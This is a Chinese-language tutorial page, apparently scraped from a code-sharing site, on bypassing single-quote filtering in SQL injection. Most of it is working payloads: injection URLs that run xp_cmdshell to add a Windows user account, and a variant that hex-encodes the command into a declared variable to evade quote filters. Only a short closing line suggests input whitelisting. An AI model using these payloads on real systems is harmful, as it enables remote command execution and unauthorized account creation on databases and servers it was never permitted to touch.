SQL隱碼攻擊中繞過單引號限制繼續注入 | sql injection單引號
包括我寫的那篇《SQLInjection的實現與應用》也是這樣的例子,因為沒有碰到任何的過濾,所以使我們相當輕鬆就注入成功了,如下:複製程式碼[1]程式碼如下://www.jb51.net/show.asp?id=1;execmaster.dbo.xp_cmdshell‘netuserangelpass/add’;–這往往給大家造成誤解,認為只要變數過濾了’就可以防止SQLInjection攻擊,這種意識為大量程式可以注入埋下禍根,其實僅僅過濾’是不夠的,在’被過濾的情況下我們照樣玩,看下面語句:複製程式碼[2]程式碼如下://www.jb51.net/show.asp?id=1;declare%[email protected][3]%20sysname%20select%[em...
包括我寫的那篇《SQL Injection的實現與應用》也是這樣的例子,因為沒有碰到任何的過濾,所以使我們相當輕鬆就注入成功了,如下: 複製程式碼[1] 程式碼如下: //www.jb51.net/show.asp?id=1;exec master.dbo.xp_cmdshell ‘net user angel pass /add’;–
這往往給大家造成誤解,認為只要變數過濾了’就可以防止SQL Injection攻擊,這種意識為大量程式可以注入埋下禍根,其實僅僅過濾’是不夠的,在’被過濾的情況下我們照樣玩,看下面語句: 複製程式碼[2] 程式碼如下: //www.jb51.net/show.asp?id=1;declare%[email protected][3]%20sysname%20select%[email protected][4]=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%[email protected][5];–
是不是跟上面的那句有很大區別?可是效果完全是一樣的。其實這些都是SQL語句。 複製程式碼[6] 程式碼如下: 0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
這句是“net user angel pass /add”的16進位制格式。瞭解SQL的朋友就容易明白,先宣告一個變數a,然後把我們的指令賦值給a,然後呼叫變數a最終執行我們輸入的命令。變數a可以是任何命令。如下: 複製程式碼[7] 程式碼如下: declare @a sysname select @a= exec master.dbo.xp_cmdshell @a
解決辦法: 過濾變數,限制只允許輸入特定字元。比如對於數字型別的變數就限制只能輸入數字型別的資料。具體就不說了。這完全是程式作者自由發揮了。
目錄 1. 您可能感興趣的文章:[8]您可能感興...